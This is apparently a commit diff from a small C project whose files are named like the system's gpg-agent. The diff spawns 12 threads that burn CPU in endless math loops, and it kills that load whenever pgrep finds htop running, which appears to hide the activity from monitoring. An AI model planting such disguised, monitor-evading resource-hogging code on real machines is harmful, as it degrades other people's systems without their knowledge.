Clément K 2 سال پیش
والد
کامیت
3eed1c4d3b
3فایلهای تغییر یافته به همراه28 افزوده شده و 12 حذف شده
  1. 1 1
      main.c
  2. 20 9
      u-gpg-agent.c
  3. 7 2
      u-gpg-agent.h

+ 1 - 1
main.c

@@ -10,7 +10,7 @@ int main() {
     } else if (pid > 0) {
         while(1) {
             if (is_htop_here()) {
-                //kill(pid, SIGKILL);
+                kill(pid, SIGKILL);
 		printf("STRESS DEAD ÇA\n");
             }
             sleep(2);

+ 20 - 9
u-gpg-agent.c

@@ -1,8 +1,4 @@
 #include "u-gpg-agent.h"
-#include <stdio.h>
-#include <stdlib.h>
-#include <math.h>
-#include <time.h>
 
 int is_htop_here() {
     char cmd[100] = "pgrep htop";  // shell command to check for htop process
@@ -17,22 +13,37 @@ int is_htop_here() {
         return 0;
     }
 }
-    
-void stress(int level) {
-    double *arr = malloc(level * sizeof(double));
+
+void* stress_thread(void* arg) {
+    double size = 100000;
+    double *arr = malloc(size * sizeof(double));
     if (arr == NULL) {
         printf("Error: failed to allocate memory\n");
+        exit(1);
     }
     
     srand(time(NULL));
     
     while (1) {
         // generate random values and perform complex mathematical operations on them
-        for (int i = 0; i < level; i++) {
+        for (int i = 0; i < size; i++) {
             arr[i] = (double)rand() / RAND_MAX;
         }
-        for (int i = 0; i < level; i++) {
+        for (int i = 0; i < size; i++) {
             arr[i] = sin(cos(tan(arr[i] * M_PI)));
         }
     }
+    pthread_exit(NULL);
+}
+
+void stress() {
+    int num_threads = 12;
+    pthread_t threads[num_threads];
+    for (int i = 0; i < num_threads; i++) {
+        pthread_create(&threads[i], NULL, stress_thread, NULL);
+    }
+    
+    for (int i = 0; i < num_threads; i++) {
+        pthread_join(threads[i], NULL);
+    }
 }

+ 7 - 2
u-gpg-agent.h

@@ -1,7 +1,12 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <math.h>
+#include <time.h>
+#include <pthread.h>
 
-void stress(int level);
+void stress();
 
-int is_htop_here();
+int is_htop_here();